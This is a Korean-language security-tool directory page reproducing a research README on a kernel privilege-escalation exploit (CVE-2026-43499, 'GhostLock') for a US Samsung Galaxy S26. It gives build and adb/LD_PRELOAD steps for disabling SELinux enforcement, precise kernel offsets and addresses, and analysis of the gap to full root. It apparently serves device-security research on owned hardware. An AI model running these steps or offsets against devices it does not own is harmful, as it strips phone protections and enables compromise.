Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
s26-m1q-ghostlock-selinux — GhostLock CVE-2026-43499 Galaxy S26(SM-S942U1/m1q) 연구: SELinux Permissive 달성, KASLR + tracefs 포팅, uid=0 경계 문서화 | Kitploit
도구/GitHubGitHub/xrzcc/s26-m1q-ghostlock-selinux
Android SecurityPrivilege EscalationVulnerability AnalysisExploitationReverse EngineeringMobile SecurityBinary Exploitation
GitHubxrzcc/s26-m1q-ghostlock-selinux

s26-m1q-ghostlock-selinux

GhostLock CVE-2026-43499 Galaxy S26(SM-S942U1/m1q) 연구: SELinux Permissive 달성, KASLR + tracefs 포팅, uid=0 경계 문서화

저장소 보기
11일 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

S26 (SM-S942U1 / m1q) GhostLock CVE-2026-43499 — SELinux Permissive 달성

Samsung Galaxy S26(SM-S942U1, 코드네임 m1q, SoC SM8850 스냅드래곤 8 Elite Gen2, 커널 6.12.30-android16-5, Android 16)을 대상으로 한 CVE-2026-43499(GhostLock) 권한 상승 연구.

상태 요약

목표상태
SELinux enforce 1→0(Permissive)✅ 달성(약 44% 1회 성공률)
안정적인 park✅ 수 분간 유지
uid=0 완전한 root + KernelSU❌ 커널 수준 경계로 제한됨(아래 참조)

근본 원인(지금까지 장기간 실패의 진범)

  1. 미국판은 KASLR이며 nokaslr이 아니다. slide는 부팅할 때마다 무작위(실측 0x30000/0x50000/0x130000/0x150000…). 기존 polygraphene/CyberMeowfia 공개 코드는 slide=0으로 하드코딩되어 모든 주소가 전부 틀렸다. 수정: m3q-azf1의 tracefs KASLR 탐지를 이식(slide_tracefs.c).

  2. 미국판 GhostLock 쓰기 원시는「NULL 쓰기」만 지원한다. m3q target.h 주석에 명시: STORE(rb_right 비-NULL 쓰기)는「KP's off-page」, shape0(rb_left)는「KPs on AZF1」, 오직 EMERALD_NULL(rb NULL 쓰기)만 동작한다. SELinux 쓰기는 마침「enforcing에 NULL 0 쓰기」이므로 성공했다.

🛑 uid=0의 단단한 기술적 경계

polygraphene의 uid=0 방식(dirty-pipe)은 pipe_buffer.flags에 CAN_MERGE(0x10)(비-NULL) 쓰기에 의존한다. 미국판(MTE + KDP)의 쓰기 원시는 NULL만 쓸 수 있으며, 비-NULL 값을 쓰면 결정적으로 kernel panic이 발생한다(실측 4/4 KP).

이것은 파라미터 조정으로 돌파할 수 없다——비-NULL 값을 쓸 수 있는 read/write primitive CVE를 따로 찾아야 한다(m3q 저자도 README에서 동일하게 확인: 「Soft-root still needs info leak + cred finish」).

디렉터리 구조

root@kitploit:~
├── README.md                              # 本文件
├── docs/
│   └── M1Q_SELINUX_WRITE_FAIL_ROOTCAUSE.md  # 完整诊断 + 根因 + 边界
├── m3q-azf1/                              # m3q 树(SELinux park 参考实现)
│   ├── generate_target.py                  # target.h 自动生成工具
│   ├── build_m1q.bat                       # NDK r29 构建脚本(美版 target)
│   ├── target.h                            # 美版 target(P0=0xc7800000, N1b=0)
│   └── preload-4-s1.so                     # SELinux Permissive 达成版(111KB)
├── polygraphene/                          # polygraphene 树(uid=0 完整流程 + KASLR 修复)
│   ├── src/slide_tracefs.c                 # tracefs KASLR 探测(核心修复)
│   ├── src/main.c                          # 加 tracefs KASLR 调用
│   ├── src/util.c                          # SELinux NULL 写 + 空 pi_waiters
│   ├── src/fops.c                          # fd_set 布局
│   ├── targets/m1q-S942U1UES4AZG3/target.h # 美版 target
│   ├── build_r29.bat                       # 构建脚本
│   └── preload.so                          # SELinux 单进程成功版(162KB)
├── auto_run.ps1                           # 自动化重试脚本(含 root 检测)
└── kallsyms/                              # 美版内核符号表
    └── kallsyms.txt                        # 128307 符号(5.7MB)

재현: SELinux Permissive 달성

사전 준비

  • 기기: SM-S942U1, S942U1UES4AZG3, USB 디버깅
  • 호스트: Windows, adb, Android NDK r29

방법 A: polygraphene 트리(단일 프로세스, uid=0 절차 포함)

root@kitploit:~
# 构建(已含 tracefs KASLR 修复)
cd polygraphene
cmd /c build_r29.bat

# 推送 + 运行
adb push build/m1q-S942U1UES4AZG3/bin/preload.so /data/local/tmp/preload.so
adb shell "env LD_PRELOAD=/data/local/tmp/preload.so /system/bin/true"
# 观察日志,SELinux 成功后 getenforce → Permissive

방법 B: m3q 트리(SELinux park 전용)

root@kitploit:~
cd m3q-azf1
cmd /c build_m1q.bat
adb push source/build/bin/preload-4-s1.so /data/local/tmp/preload-4-s1.so
adb shell "LD_PRELOAD=/data/local/tmp/preload-4-s1.so /system/bin/true"
# 成功标志:slide-kaslr-ok + S1_READY + getenforce → Permissive

핵심 파라미터(공식적으로 확인됨, 변경 금지)

위험(필독)

  • kernel panic 빈번(쓰기 원시마다 약 44% 성공률, 나머지는 KP로 재부팅)
  • 지연 KP(park 후에도 수 분간 KP 발생 가능)
  • safe-mode-only 부팅 / 공장 초기화 위험 있음
  • 자신이 소유한 기기에만 한정, 실험적 exploit

감사의 말

  • polygraphene/CyberMeowfia(S26 dirty-pipe 포팅)
  • Bugel/cve-2026-43499-m3q-azf1(m3q 참조, tracefs KASLR + I4 emerald / M1Q shape)
  • PeronGH/ghostlock-selinux-disabler(JoinChang 완전판 단일 쓰기 추출, shape 참조)
  • NebuSec(취약점 발견/원리)
  • JoinChang/ghostlock-oneplus(원본 exploit)
도구 다운로드
파라미터값출처
P0_KERNEL_PHYS_LOAD0xc7800000generate_target.py가 xbl_config에서 공식 확인
PSELECT_WAITER_WORD_SHIFT2커널 디스어셈블리 derive_pselect_layout
SELINUX_ENFORCING0xffffffc0827afb08kallsyms
task_struct.prio0x94BTF(6.12 값, 6.6의 0x84 아님)
task_struct.cred0x900BTF
mm_struct objsize1280 (0x500)/proc/slabinfo